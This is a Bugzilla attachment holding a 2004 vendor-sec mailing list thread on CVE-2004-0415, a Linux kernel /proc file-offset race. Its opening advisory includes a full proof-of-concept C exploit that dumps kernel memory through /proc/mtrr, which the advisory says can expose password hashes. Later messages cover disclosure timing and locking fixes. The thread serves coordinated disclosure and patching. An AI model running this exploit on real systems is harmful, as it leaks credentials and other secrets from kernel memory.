Bugzilla – Attachment 21716 Details for
Bug 56074
VUL-0: CVE-2004-0415: kernel: /proc info leak
Home
|
New
|
Browse
|
Search
|
[?]
|
Reports
|
Requests
|
IDP Log In
|
Forgot Password
vendor-sec discussion
proc.txt (text/plain), 32.40 KB, created by
Thomas Biege
on 2004-06-28 14:35:16 UTC
(
hide
)
Description:
vendor-sec discussion
Filename:
MIME Type:
Creator:
Thomas Biege
Created:
2004-06-28 14:35:16 UTC
Size:
32.40 KB
patch
obsolete
>From ihaquer@isec.pl Mon Jun 28 08:32:53 2004 >Date: Mon, 24 May 2004 13:52:43 +0200 (CEST) >From: Paul Starzetz <ihaquer@isec.pl> >Reply-To: isec@isec.pl >To: vendor-sec <vendor-sec@lst.de> >Subject: [vendor-sec] Proc leaks > >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > > >Synopsis: Linux kernel file system signedness issues >Product: Linux kernel >Version: 2.4 up to to and including 2.4.26, 2.6 up to to and including 2.6.6 >Vendor: http://www.kernel.org/ >URL: http://isec.pl/vulnerabilities/ ? >CVE: not assigned >Author: Paul Starzetz <ihaquer@isec.pl> >Date: May 24, 2004 > > >Issue: >====== > >A critical security vulnerability has been found in the Linux kernel while >handling file offset pointers. > > >Details: >======== > >The Linux kernel offers a file handling API to the applications. Basically a >file can be identified by a file name and opened through the open(2) system call >which in turn returns a file descriptor for the file ressource. > >One of the properties of a file is also something called 'file offset' which is >advanced if one reads or writtes to the file. It can also by changed through the >lseek(2) system call and identifies the current writing/reading position. > >There are two different versions of the file handling API inside the kernel: the >old 32 bit and the new (LFS) 64 bit API. We have identified numerous places >where invalid conversions from 64 bit sized file offsets to 32 bit ones. > >We have found that most of the /proc entries (like /proc/version) leaks about >one page of unitialized kernel memory and can be used to obtain sensitive data. > >We have found a dozen of places with suspicious or bogus code. One of them >resides in the MTRR handling code for the i386 architecture: > > >static ssize_t mtrr_read (struct file *file, char *buf, size_t len, > loff_t *ppos) >{ >[1] if (*ppos >= ascii_buf_bytes) return 0; >[2] if (*ppos + len > ascii_buf_bytes) len = ascii_buf_bytes - *ppos; > if ( copy_to_user (buf, ascii_buffer + *ppos, len) ) return -EFAULT; >[3] *ppos += len; > return len; >} /* End Function mtrr_read */ > > >It is quite easy to see that since copy_to_user can sleep, the second reference >to *ppos may use another value. To conclude: code operating on the file->f_pos >variable through a pointer must be atomic in respect to the current thread. We >expect more troubles in the SMP case though. > > >Exploitation: >============= > >In the following we want to concentrate onto the mttr.c code, however we think >that also other pieces of the kernel code may be exploitable. > >The idea is to use the blocking property of copy_to_user to advance the >file->f_pos file offset to be negative allowing us to bypass the two checks >marked with [1] and [2] in the above code. > >There are two situation where copy_to_user() will sleep if there is no page >table entry for the corresponding location in the user buffer: > >- - the underlying buffer maps a file which is not in the page cache. The file >must be first rwad from the disk > >- - the mmap_sem of the process is in a closed state, that means another thread >sharing the same VM caused a down_write on the semaphore. > >We use the second method as follows. One of two threads sharing same VM issues a >madvise(2) call on a VMA that maps some, sufficiently big file setting the >madvise flag to WILLNEED. This will issue a down_write on the mmap semaphore and >schedule a read-ahead request for the mmaped file. > >Second thread issues in the mean time a read on the /proc/mtrr file thus going >for sleep until the first thread returns from the madvise system call. The >threads will be woken up in a FIFO manner thus the first thread will run as >first and can advance the file pointer of the proc file to the maximum possible >value of 0x7fffffffffffffff while the second thread is still waiting in the >scheduler queue for CPU. > >After the place marked with [3] has been executed, the file position will have a >negative value and the checks [1] and [2] can be passed for any user buffer >length thus leaking the kernel memory from the address of ascii_buffer on. > >We have attached a proof-of-concept exploit code. > > >Impact: >======= > >Since no special privileges are required to open the /proc/mtrr file for reading >any process may exploit the bug to read huge parts of kernel memory. > >The kernel memory dump may include very sensitive information like hashed >passwords from /etc/shadow or even the root passwort. We have found that after >the root user logged in using ssh, the root passwort was keept in kernel memory. >This is very surprising since sshd will quickly clean the memory containing the >supplied password. But the password may have made its way through various kernel >paths like pipes or sockets. > >Tested and known to be vulnerable kernel versions are all <= 2.4.26 and <= >2.6.5. All users are encouraged to patch all vulnerable systems as soon as >appropriate vendor patches are released. There is no hotfix for this >vulnerability. > > >Credits: >======== > >Paul Starzetz <ihaquer@isec.pl> has identified the vulnerability and performed >further research. COPYING, DISTRIBUTION, AND MODIFICATION OF INFORMATION >PRESENTED HERE IS ALLOWED ONLY WITH EXPRESS PERMISSION OF ONE OF THE AUTHORS. > > >Disclaimer: >=========== > >This document and all the information it contains are provided "as is", for >educational purposes only, without warranty of any kind, whether express or >implied. > >The authors reserve the right not to be responsible for the topicality, >correctness, completeness or quality of the information provided in this >document. Liability claims regarding damage caused by the use of any information >provided, including any kind of information which is incomplete or incorrect, >will therefore be rejected. > > >Appendix: >========= > >/* > * > * /proc ppos kernel memory read > * > * the semaphore method > * > * by IhaQueR > * > * Copyright (c) 2004 iSEC Security Research. All Rights Reserved. > * > * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS" > * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION > * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED. > * > */ > > >#define _GNU_SOURCE > >#include <stdio.h> >#include <stdlib.h> >#include <signal.h> >#include <string.h> >#include <errno.h> >#include <unistd.h> >#include <fcntl.h> >#include <time.h> >#include <sched.h> > >#include <sys/socket.h> >#include <sys/select.h> >#include <sys/time.h> >#include <sys/mman.h> > >#include <linux/unistd.h> > >#include <asm/page.h> > > >// machine mem size in MB >#define MEMSIZE 64 > > > >_syscall5(int, _llseek, uint, fd, ulong, hi, ulong, lo, loff_t *, res, uint, wh); > > > >void fatal(const char *msg) >{ > printf("\n"); > if(!errno) { > fprintf(stderr, "FATAL: %s\n", msg); > } > else { > perror(msg); > } > > printf("\n"); > fflush(stdout); > fflush(stderr); > exit(1); >} > > >static int cpid, nc, fd, pfd, r=0, i=0, csize, fsize=1024*1024*MEMSIZE, size=PAGE_SIZE, us; >static volatile int go[2]; >static loff_t off; >static char *buf=NULL, *file, child_stack[PAGE_SIZE]; >static struct timeval tv1, tv2; >static struct stat st; > > >// child close sempahore & sleep >int start_child(void *arg) >{ >// unlock parent & close semaphore > go[0]=0; > madvise(file, csize, MADV_DONTNEED); > madvise(file, csize, MADV_SEQUENTIAL); > gettimeofday(&tv1, NULL); > read(pfd, buf, 0); > > go[0]=1; > r = madvise(file, csize, MADV_WILLNEED); > if(r) > fatal("madvise"); > >// parent blocked on mmap_sem? GOOD! > if(go[1] == 1 || _llseek(pfd, 0, 0, &off, SEEK_CUR)<0 ) { > r = _llseek(pfd, 0x7fffffff, 0xffffffff, &off, SEEK_SET); > if( r == -1 ) > fatal("lseek"); > printf("\n[+] Race won!"); fflush(stdout); > go[0]=2; > } else { > printf("\n[-] Race lost %d, use another file!\n", go[1]); fflush(stdout); > kill(getppid(), SIGTERM); > } > _exit(1); > >return 0; >} > > >void usage(char *name) >{ > printf("\nUSAGE: %s <file not in cache>", name); > printf("\n\n"); > exit(1); >} > > >int main(int ac, char **av) >{ > if(ac<2) > usage(av[0]); > >// mmap not cached file > r=stat(av[1], &st); > if(r) > fatal("stat file"); > csize = (st.st_size + (PAGE_SIZE-1)) & ~(PAGE_SIZE-1); > > fd=open(av[1], O_RDONLY); > if(fd<0) > fatal("open file"); > file=mmap(NULL, csize, PROT_READ, MAP_SHARED, fd, 0); > if(file==MAP_FAILED) > fatal("mmap"); > close(fd); > printf("\n[+] mmaped uncached file at %p - %p", file, file+csize); fflush(stdout); > >// open proc file > pfd=open("/proc/mtrr", O_RDONLY); > if(pfd<0) > fatal("open"); > >// open storage file > fd=open("kmem.dat", O_RDWR|O_CREAT|O_TRUNC, 0644); > if(fd<0) > fatal("open data"); > >// truncate to memsize > r=ftruncate(fd, fsize); > if(r<0) > fatal("ftruncate"); > > buf=mmap(NULL, fsize, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0); > if(buf==MAP_FAILED) > fatal("mmap"); > close(fd); > printf("\n[+] mmaped kernel data file at %p", buf); fflush(stdout); > >// clone thread wait for child sleep > nc = nice(0); > cpid=clone(&start_child, child_stack + sizeof(child_stack)-4, CLONE_FILES|CLONE_VM, NULL); > nice(19-nc); > while(go[0]==0) { > i++; > } > >// try to read & sleep & move fpos to be negative > gettimeofday(&tv1, NULL); > go[1] = 1; > r = read(pfd, buf, size ); > go[1] = 2; > gettimeofday(&tv2, NULL); > if(r<0) > fatal("read"); > while(go[0]!=2) { > i++; > } > > us = tv2.tv_sec - tv1.tv_sec; > us *= 1000000; > us += (tv2.tv_usec - tv1.tv_usec) ; > > printf("\n[+] READ %d bytes in %d usec", r, us); fflush(stdout); > r = _llseek(pfd, 0, 0, &off, SEEK_CUR); > if(r < 0 ) { > printf("\n[+] SUCCESS, lseek fails, reading kernel mem...\n"); fflush(stdout); > i=0; > for(;;) { > r = read(pfd, buf, PAGE_SIZE ); > if(r!=PAGE_SIZE) > break; > buf += PAGE_SIZE; > i++; > printf("\r PAGE %6d", i); fflush(stdout); > } > printf("\n[+] done, err=%s", strerror(errno) ); fflush(stdout); > } > close(pfd); > > printf("\n"); > sleep(1); > kill(cpid, 9); > >return 0; >} > >- -- >Paul Starzetz >iSEC Security Research >http://isec.pl/ > >-----BEGIN PGP SIGNATURE----- >Version: GnuPG v1.0.7 (GNU/Linux) > >iD8DBQFAseIPC+8U3Z5wpu4RAgFNAJ9x/drGOB71MIY1a5ppzq2h97RVKgCfZj5A >2ANXZBt4Y5FNplUBHgw0eEg= >=z2qo >-----END PGP SIGNATURE----- > > >_______________________________________________ >Vendor Security mailing list >Vendor Security@lst.de >https://www.lst.de/cgi-bin/mailman/listinfo/vendor-sec > >From draht@suse.de Mon Jun 28 08:33:00 2004 >Date: Mon, 24 May 2004 15:26:42 +0200 (MEST) >From: Roman Drahtmueller <draht@suse.de> >To: isec@isec.pl, Paul Starzetz <ihaquer@isec.pl> >Cc: vendor-sec <vendor-sec@lst.de> >Subject: Re: [vendor-sec] Proc leaks > >Hello Paul, > > >> Synopsis: Linux kernel file system signedness issues >> Product: Linux kernel >> Version: 2.4 up to to and including 2.4.26, 2.6 up to to and including 2.6.6 >> Vendor: http://www.kernel.org/ >> URL: http://isec.pl/vulnerabilities/ ? >> CVE: not assigned >> Author: Paul Starzetz <ihaquer@isec.pl> >> Date: May 24, 2004 >> >> >> Issue: >> ====== >> >> A critical security vulnerability has been found in the Linux kernel while >> handling file offset pointers. > >Good spotting, again... > >Paul, what is the public disclosure timeline for this bug? >The vendors will be doing several fixes in one update - the collection of >bugs is ongoing. :-/ The bug that you have found currently is the worst of >them. > >I suggest Tuesday, June 29th, 16:00 MEST, as it would fit with other >vulnerabilities that get reported. > >Comments? > > >Thanks, >Roman. > >_______________________________________________ >Vendor Security mailing list >Vendor Security@lst.de >https://www.lst.de/cgi-bin/mailman/listinfo/vendor-sec > >From ihaquer@isec.pl Mon Jun 28 08:33:06 2004 >Date: Mon, 24 May 2004 17:38:28 +0200 (CEST) >From: Paul Starzetz <ihaquer@isec.pl> >To: isec@isec.pl >Cc: vendor-sec <vendor-sec@lst.de> >Subject: Re: [iSEC] Re: [vendor-sec] Proc leaks > >On Mon, 24 May 2004, Roman Drahtmueller wrote: > >> Hello Paul, >> >> Good spotting, again... >> >> Paul, what is the public disclosure timeline for this bug? >> The vendors will be doing several fixes in one update - the collection of >> bugs is ongoing. :-/ The bug that you have found currently is the worst of >> them. >> >> I suggest Tuesday, June 29th, 16:00 MEST, as it would fit with other >> vulnerabilities that get reported. > >Seems ok for us. > >-- >Paul Starzetz >iSEC Security Research >http://isec.pl/ > > >_______________________________________________ >Vendor Security mailing list >Vendor Security@lst.de >https://www.lst.de/cgi-bin/mailman/listinfo/vendor-sec > >From marcelo.tosatti@cyclades.com Mon Jun 28 08:33:12 2004 >Date: Fri, 25 Jun 2004 10:45:43 -0300 >From: Marcelo Tosatti <marcelo.tosatti@cyclades.com> >To: Roman Drahtmueller <draht@suse.de> >Cc: isec@isec.pl, Paul Starzetz <ihaquer@isec.pl>, > vendor-sec <vendor-sec@lst.de> >Subject: Re: [vendor-sec] Proc leaks > >On Mon, May 24, 2004 at 03:26:42PM +0200, Roman Drahtmueller wrote: >> Hello Paul, >> >> >> > Synopsis: Linux kernel file system signedness issues >> > Product: Linux kernel >> > Version: 2.4 up to to and including 2.4.26, 2.6 up to to and including 2.6.6 >> > Vendor: http://www.kernel.org/ >> > URL: http://isec.pl/vulnerabilities/ ? >> > CVE: not assigned >> > Author: Paul Starzetz <ihaquer@isec.pl> >> > Date: May 24, 2004 >> > >> > >> > Issue: >> > ====== >> > >> > A critical security vulnerability has been found in the Linux kernel while >> > handling file offset pointers. >> >> Good spotting, again... >> >> Paul, what is the public disclosure timeline for this bug? >> The vendors will be doing several fixes in one update - the collection of >> bugs is ongoing. :-/ The bug that you have found currently is the worst of >> them. >> >> I suggest Tuesday, June 29th, 16:00 MEST, as it would fit with other >> vulnerabilities that get reported. >> >> Comments? > >Anyone wrote a correction for the mtrr case? > >And what about other cases? > >Thanks >_______________________________________________ >Vendor Security mailing list >Vendor Security@lst.de >https://www.lst.de/cgi-bin/mailman/listinfo/vendor-sec > >From mjc@redhat.com Mon Jun 28 08:33:19 2004 >Date: Tue, 25 May 2004 08:53:47 +0100 (BST) >From: Mark J Cox <mjc@redhat.com> >To: isec@isec.pl >Cc: vendor-sec <vendor-sec@lst.de> >Subject: Re: [vendor-sec] Proc leaks > >> CVE: not assigned > >CAN-2004-0415 > >> We have found a dozen of places with suspicious or bogus code. One of them >> resides in the MTRR handling code for the i386 architecture: > >Since the flaws sould like they are all of the same type, and assuming >they all get fixed at the same time a single CVE name will suffice. > >Cheers, Mark >_______________________________________________ >Vendor Security mailing list >Vendor Security@lst.de >https://www.lst.de/cgi-bin/mailman/listinfo/vendor-sec > >From solar@openwall.com Mon Jun 28 08:33:23 2004 >Date: Wed, 26 May 2004 01:41:17 +0400 >From: Solar Designer <solar@openwall.com> >To: isec@isec.pl >Cc: vendor-sec <vendor-sec@lst.de> >Subject: Re: [vendor-sec] Proc leaks > >On Mon, May 24, 2004 at 01:52:43PM +0200, Paul Starzetz wrote: >> We have found that most of the /proc entries (like /proc/version) leaks about >> one page of unitialized kernel memory and can be used to obtain sensitive data. > >Why are these not susceptible to the same attack that you describe >below for /proc/mtrr? The code in generic.c: proc_file_read() appears >to use *ppos in a very similar way, so it too should be usable to >achieve a negative *ppos value. Then the question is how to read more >than one page worth of uninitialized kernel memory given a negative >*ppos. You use a second read from /proc/mtrr for that, relying on the >signedness of its sanity checks. So if another instance of a /proc >handler with similar signed checks exists, it too could be used to >leak arbitrary amounts of uninitialized kernel memory contents. Am I >on the right track with this? > >Also the code for /proc/profile looks very bad, but it's usually not >compiled in. > >> We have found that after >> the root user logged in using ssh, the root passwort was keept in kernel memory. >> This is very surprising since sshd will quickly clean the memory containing the >> supplied password. But the password may have made its way through various kernel >> paths like pipes or sockets. > >If the sshd build was PAM'ified (was it?), it could as well be PAM >modules (very likely) or the PAM library (less likely). > >Thanks! > >-- >/sd >_______________________________________________ >Vendor Security mailing list >Vendor Security@lst.de >https://www.lst.de/cgi-bin/mailman/listinfo/vendor-sec > >From solar@openwall.com Mon Jun 28 08:33:26 2004 >Date: Wed, 26 May 2004 01:52:18 +0400 >From: Solar Designer <solar@openwall.com> >To: vendor-sec <vendor-sec@lst.de> >Subject: Re: [vendor-sec] Proc leaks > >On Mon, May 24, 2004 at 01:52:43PM +0200, Paul Starzetz wrote: >> To conclude: code operating on the file->f_pos >> variable through a pointer must be atomic in respect to the current thread. We >> expect more troubles in the SMP case though. > >I think that in order to solve this in the most appropriate way, it >would have been nice to bring this to the attention of Linus himself. >The only problem is Linus didn't want to knowingly put out kernel >snapshots with security bugs, so he might not want to wait for a >coordinated disclosure date negotiated by vendor-sec members... > >Regarding solving this for SMP, -- do we even have atomic 64-bit >addition on all 32-bit systems supported by Linux, or do we have to >add a spinlock into struct file? > >-- >/sd >_______________________________________________ >Vendor Security mailing list >Vendor Security@lst.de >https://www.lst.de/cgi-bin/mailman/listinfo/vendor-sec > >From alan@lxorguk.ukuu.org.uk Mon Jun 28 08:33:29 2004 >Date: Wed, 26 May 2004 18:32:45 +0100 >From: Alan Cox <alan@lxorguk.ukuu.org.uk> >To: Solar Designer <solar@openwall.com> >Cc: vendor-sec <vendor-sec@lst.de> >Subject: Re: [vendor-sec] Proc leaks > >On Maw, 2004-05-25 at 22:52, Solar Designer wrote: >> Regarding solving this for SMP, -- do we even have atomic 64-bit >> addition on all 32-bit systems supported by Linux, or do we have to >> add a spinlock into struct file? > >There are locking rules for seek operations and each device can also >override the seek operation if it wishes. So if procfs wants to >provide a locked seek v read/write it can do so. > >_______________________________________________ >Vendor Security mailing list >Vendor Security@lst.de >https://www.lst.de/cgi-bin/mailman/listinfo/vendor-sec > >From solar@openwall.com Mon Jun 28 08:33:37 2004 >Date: Thu, 27 May 2004 02:43:16 +0400 >From: Solar Designer <solar@openwall.com> >To: Alan Cox <alan@lxorguk.ukuu.org.uk> >Cc: vendor-sec <vendor-sec@lst.de> >Subject: Re: [vendor-sec] Proc leaks > >On Wed, May 26, 2004 at 06:32:45PM +0100, Alan Cox wrote: >> There are locking rules for seek operations and each device can also >> override the seek operation if it wishes. So if procfs wants to >> provide a locked seek v read/write it can do so. > >Can you point me at an llseek handler which implements any locking? > >I only see the pair lock_kernel() ... unlock_kernel() in the llseek() >wrapper function in read_write.c, but I don't see any locking in any >of the underlying f_op->llseek's. > >Maybe the solution is then to introduce lock_kernel() ... >unlock_kernel() into the appropriate procfs read/write functions? > >Thanks! > >-- >/sd >_______________________________________________ >Vendor Security mailing list >Vendor Security@lst.de >https://www.lst.de/cgi-bin/mailman/listinfo/vendor-sec > >From viro@parcelfarce.linux.theplanet.co.uk Mon Jun 28 08:33:41 2004 >Date: Wed, 26 May 2004 23:56:59 +0100 >From: viro@parcelfarce.linux.theplanet.co.uk >To: Solar Designer <solar@openwall.com> >Cc: Alan Cox <alan@lxorguk.ukuu.org.uk>, vendor-sec <vendor-sec@lst.de> >Subject: Re: [vendor-sec] Proc leaks > >On Thu, May 27, 2004 at 02:43:16AM +0400, Solar Designer wrote: >> On Wed, May 26, 2004 at 06:32:45PM +0100, Alan Cox wrote: >> > There are locking rules for seek operations and each device can also >> > override the seek operation if it wishes. So if procfs wants to >> > provide a locked seek v read/write it can do so. >> >> Can you point me at an llseek handler which implements any locking? >> >> I only see the pair lock_kernel() ... unlock_kernel() in the llseek() >> wrapper function in read_write.c, but I don't see any locking in any >> of the underlying f_op->llseek's. >> >> Maybe the solution is then to introduce lock_kernel() ... >> unlock_kernel() into the appropriate procfs read/write functions? > >BKL is completely irrelevant (so's procfs involvement, actually). > >What we have here is a bunch of FUBAR instances of ->read(); sane ones >fetch *ppos only once, broken pull the crap like that. All that stuff >needs fixing and is trivial to find and fix (got the list of all >relevant instances already). And no, they are not limited to procfs. > >Note that in cases where BKL might help we usually get saved by compiler >anyway - such "light" instances tend to have several accesses to *ppos >so close to each other that they end up optimized away even on >register-starved boxen. They still need fixing, obviously, but BKL >would be utterly useless: > 1) it's not just procfs (and not even mostly procfs) > 2) in "heavy" cases it fixes nothing > 3) in "light" ones we tend to get saved by compiler, BKL or not. >BKL won't close any practical races and will leave the junk code just as >bad as it was. >_______________________________________________ >Vendor Security mailing list >Vendor Security@lst.de >https://www.lst.de/cgi-bin/mailman/listinfo/vendor-sec > >From solar@openwall.com Mon Jun 28 08:33:44 2004 >Date: Thu, 27 May 2004 03:14:32 +0400 >From: Solar Designer <solar@openwall.com> >To: viro@parcelfarce.linux.theplanet.co.uk >Cc: Alan Cox <alan@lxorguk.ukuu.org.uk>, vendor-sec <vendor-sec@lst.de> >Subject: Re: [vendor-sec] Proc leaks > >On Wed, May 26, 2004 at 11:56:59PM +0100, viro@parcelfarce.linux.theplanet.co.uk wrote: >> On Thu, May 27, 2004 at 02:43:16AM +0400, Solar Designer wrote: >> > Maybe the solution is then to introduce lock_kernel() ... >> > unlock_kernel() into the appropriate procfs read/write functions? >> >> BKL is completely irrelevant > >Why is the llseek() wrapper function acquiring BKL then? > >> (so's procfs involvement, actually). > >That's no surprise... > >> What we have here is a bunch of FUBAR instances of ->read(); sane ones >> fetch *ppos only once, broken pull the crap like that. > >Speaking of the issue of read/write advancing *ppos by the number of >bytes read/written, is the correct fix to just use: > > prev_pos = *ppos; > // actual read/write operation > *ppos = prev_pos + count; > >If the assignment to *ppos were atomic (which I don't think it is!), >it would result in the seek being ignored which is probably OK. > >Now, we need atomic reads/writes of *ppos, which is a 64-bit value on >possibly 32-bit systems... > >Or am I missing something again? > >Thanks for commenting on this! > >-- >/sd >_______________________________________________ >Vendor Security mailing list >Vendor Security@lst.de >https://www.lst.de/cgi-bin/mailman/listinfo/vendor-sec > >From okir@suse.de Mon Jun 28 08:33:47 2004 >Date: Thu, 27 May 2004 10:00:54 +0200 >From: Olaf Kirch <okir@suse.de> >To: Solar Designer <solar@openwall.com> >Cc: viro@parcelfarce.linux.theplanet.co.uk, > Alan Cox <alan@lxorguk.ukuu.org.uk>, vendor-sec <vendor-sec@lst.de> >Subject: Re: [vendor-sec] Proc leaks > >On Thu, May 27, 2004 at 03:14:32AM +0400, Solar Designer wrote: >> Why is the llseek() wrapper function acquiring BKL then? > >The BKL is released when you go to sleep; which may happen if >data needs to be paged in. > >Olaf >-- >Olaf Kirch | The Hardware Gods hate me. >okir@suse.de | >---------------+ >_______________________________________________ >Vendor Security mailing list >Vendor Security@lst.de >https://www.lst.de/cgi-bin/mailman/listinfo/vendor-sec > >From solar@openwall.com Mon Jun 28 08:33:50 2004 >Date: Fri, 28 May 2004 01:42:17 +0400 >From: Solar Designer <solar@openwall.com> >To: Olaf Kirch <okir@suse.de> >Cc: viro@parcelfarce.linux.theplanet.co.uk, > Alan Cox <alan@lxorguk.ukuu.org.uk>, vendor-sec <vendor-sec@lst.de> >Subject: Re: [vendor-sec] Proc leaks > >On Thu, May 27, 2004 at 10:00:54AM +0200, Olaf Kirch wrote: >> On Thu, May 27, 2004 at 03:14:32AM +0400, Solar Designer wrote: >> > Why is the llseek() wrapper function acquiring BKL then? >> >> The BKL is released when you go to sleep; which may happen if >> data needs to be paged in. > >Yes. And your point is?.. > >Yes, it would not have solved the mtrr issue which is not specific to >SMP. But I asked why the BKL is even acquired in the existing llseek() >wrapper function (that's in the _existing_ code!), and I previously >said that, given that BKL is already used in llseek() in this way, it >could be further used to avoid the SMP-specific races. I'm not really >advocating that approach, -- I'd rather see a spinlock specific to the >file offset field, -- that would also cover the non-SMP races where >one of the threads goes to sleep permitting for the attack on UP. I'd >only acquire the spinlock for the duration of trivial operations such >as reads of and assignments to *ppos. The algorithm to advance file >offset after a successful read or write could be like this: > > spin_lock(&file->f_pos_lock); > if (file->f_pos == prev_pos) > file->f_pos = prev_pos + count; > spin_unlock(&file->f_pos_lock); > >With this approach, the first to complete seek or read/write wins. If >this property is not desired, then the "if" statement can be omitted. >But the spinlock is still needed because of the non-atomicity of >assignments to file->f_pos on many of the supported platforms. > >Alan and Al appear to have different opinions. Alan has said that >there're locking conventions for seeks vs. reads/writes already in >place, -- but I can't find any. Al has said that it'd be sufficient >to avoid multiple *ppos loads in a read/write operation, -- that does >not appear to be sufficient to me for the reasons I have explained. > >I may well be missing something, but I felt I'd rather speak up and be >corrected than let a possible problem remain unnoticed. > >-- >/sd >_______________________________________________ >Vendor Security mailing list >Vendor Security@lst.de >https://www.lst.de/cgi-bin/mailman/listinfo/vendor-sec > >From alan@lxorguk.ukuu.org.uk Mon Jun 28 08:33:53 2004 >Date: Thu, 27 May 2004 19:49:02 +0100 >From: Alan Cox <alan@lxorguk.ukuu.org.uk> >To: viro@parcelfarce.linux.theplanet.co.uk >Cc: Solar Designer <solar@openwall.com>, vendor-sec <vendor-sec@lst.de> >Subject: Re: [vendor-sec] Proc leaks > >On Mer, 2004-05-26 at 23:56, viro@parcelfarce.linux.theplanet.co.uk >wrote: >> What we have here is a bunch of FUBAR instances of ->read(); sane ones >> fetch *ppos only once, broken pull the crap like that. All that stuff >> needs fixing and is trivial to find and fix (got the list of all >> relevant instances already). And no, they are not limited to procfs. > >The load of *ppos can give you garbage values however. Several >architectures have no atomic 64bit load, even if you were forcing its >use. So there is an issue at that point already. > >_______________________________________________ >Vendor Security mailing list >Vendor Security@lst.de >https://www.lst.de/cgi-bin/mailman/listinfo/vendor-sec > >From trini@mvista.com Mon Jun 28 08:33:55 2004 >Date: Tue, 15 Jun 2004 08:10:49 -0700 >From: Tom Rini <trini@mvista.com> >To: Alan Cox <alan@lxorguk.ukuu.org.uk> >Cc: viro@parcelfarce.linux.theplanet.co.uk, > Solar Designer <solar@openwall.com>, vendor-sec <vendor-sec@lst.de> >Subject: Re: [vendor-sec] Proc leaks > >On Thu, May 27, 2004 at 07:49:02PM +0100, Alan Cox wrote: > >> On Mer, 2004-05-26 at 23:56, viro@parcelfarce.linux.theplanet.co.uk >> wrote: >> > What we have here is a bunch of FUBAR instances of ->read(); sane ones >> > fetch *ppos only once, broken pull the crap like that. All that stuff >> > needs fixing and is trivial to find and fix (got the list of all >> > relevant instances already). And no, they are not limited to procfs. >> >> The load of *ppos can give you garbage values however. Several >> architectures have no atomic 64bit load, even if you were forcing its >> use. So there is an issue at that point already. > >I should probably go brew up some coffee, but... > >Is the possibility of getting garbage something we can fix ? Or, >would whatever fix to this issue there may be just include some sanity >check on *ppos ? > >-- >Tom > > [ Part 2, "Digital signature" Application/PGP-SIGNATURE 196bytes. ] > [ Unable to print this part. ] > > >From solar@openwall.com Mon Jun 28 08:33:58 2004 >Date: Tue, 15 Jun 2004 20:25:43 +0400 >From: Solar Designer <solar@openwall.com> >To: Tom Rini <trini@mvista.com> >Cc: Alan Cox <alan@lxorguk.ukuu.org.uk>, > viro@parcelfarce.linux.theplanet.co.uk, vendor-sec <vendor-sec@lst.de> >Subject: Re: [vendor-sec] Proc leaks > >On Tue, Jun 15, 2004 at 08:10:49AM -0700, Tom Rini wrote: >> On Thu, May 27, 2004 at 07:49:02PM +0100, Alan Cox wrote: >> >> > On Mer, 2004-05-26 at 23:56, viro@parcelfarce.linux.theplanet.co.uk >> > wrote: >> > > What we have here is a bunch of FUBAR instances of ->read(); sane ones >> > > fetch *ppos only once, broken pull the crap like that. All that stuff >> > > needs fixing and is trivial to find and fix (got the list of all >> > > relevant instances already). And no, they are not limited to procfs. >> > >> > The load of *ppos can give you garbage values however. Several >> > architectures have no atomic 64bit load, even if you were forcing its >> > use. So there is an issue at that point already. >> >> I should probably go brew up some coffee, but... >> >> Is the possibility of getting garbage something we can fix ? > >Yes. The spinlock approach would have fixed it. > >-- >/sd >_______________________________________________ >Vendor Security mailing list >Vendor Security@lst.de >https://www.lst.de/cgi-bin/mailman/listinfo/vendor-sec > >From trini@mvista.com Mon Jun 28 08:34:00 2004 >Date: Tue, 15 Jun 2004 08:12:05 -0700 >From: Tom Rini <trini@mvista.com> >To: viro@parcelfarce.linux.theplanet.co.uk >Cc: Solar Designer <solar@openwall.com>, > Alan Cox <alan@lxorguk.ukuu.org.uk>, vendor-sec <vendor-sec@lst.de> >Subject: Re: [vendor-sec] Proc leaks > >On Wed, May 26, 2004 at 11:56:59PM +0100, viro@parcelfarce.linux.theplanet.co.uk wrote: > >> What we have here is a bunch of FUBAR instances of ->read(); sane ones >> fetch *ppos only once, broken pull the crap like that. All that stuff >> needs fixing and is trivial to find and fix (got the list of all >> relevant instances already). And no, they are not limited to procfs. > >Would you mind sharing the list? Or better yet what you did to generate >the list? I wouldn't be surprised if some of us added more bad >instances in the extra bits we add... Thanks. > >-- >Tom > > [ Part 2, "Digital signature" Application/PGP-SIGNATURE 196bytes. ] > [ Unable to print this part. ] > > >From ihaquer@isec.pl Mon Jun 28 08:34:03 2004 >Date: Wed, 26 May 2004 10:41:23 +0200 (CEST) >From: Paul Starzetz <ihaquer@isec.pl> >To: vendor-sec <vendor-sec@lst.de> >Cc: security@isec.pl >Subject: Re: [vendor-sec] Proc leaks > > >I'm sorry for the wrong reply-to I obviously have used. >If your message(s) returned, please respond to > > security@isec.pl > >thank you. > >-- >Paul Starzetz >iSEC Security Research >http://isec.pl/ > > > >_______________________________________________ >Vendor Security mailing list >Vendor Security@lst.de >https://www.lst.de/cgi-bin/mailman/listinfo/vendor-sec > >From ihaquer@isec.pl Mon Jun 28 08:34:07 2004 >Date: Wed, 26 May 2004 16:30:33 +0200 (CEST) >From: Paul Starzetz <ihaquer@isec.pl> >To: Solar Designer <solar@openwall.com> >Cc: vendor-sec <vendor-sec@lst.de> >Subject: Re: [vendor-sec] Proc leaks > >On Wed, 26 May 2004, Solar Designer wrote: > >> Why are these not susceptible to the same attack that you describe >> below for /proc/mtrr? The code in generic.c: proc_file_read() appears >> to use *ppos in a very similar way, so it too should be usable to >> achieve a negative *ppos value. Then the question is how to read more >> than one page worth of uninitialized kernel memory given a negative >> *ppos. You use a second read from /proc/mtrr for that, relying on the >> signedness of its sanity checks. So if another instance of a /proc >> handler with similar signed checks exists, it too could be used to >> leak arbitrary amounts of uninitialized kernel memory contents. Am I >> on the right track with this? > >I can partially agree with you after having looked at the code again. >The access to *ppos is _unsafe_ however in order to get a copy of some >kernel date you must: > >1) find a subroutine returning n>count >2) or setting *start to something bigger than buf+count > >I didn't find anything like that... > >Another question is what happens on SMP - I see there are some possible >games: > > if (!start) { > /* > * For proc files that are less than 4k > */ >[1] start = page + *ppos; >[2] n -= *ppos; > if (n <= 0) > break; > if (n > count) > n = count; > } > >timing the two threads well, it could be possible to use one value for [1] >and another for [2] and therefore read kernel mem through any /proc entry >using the proc_file_read 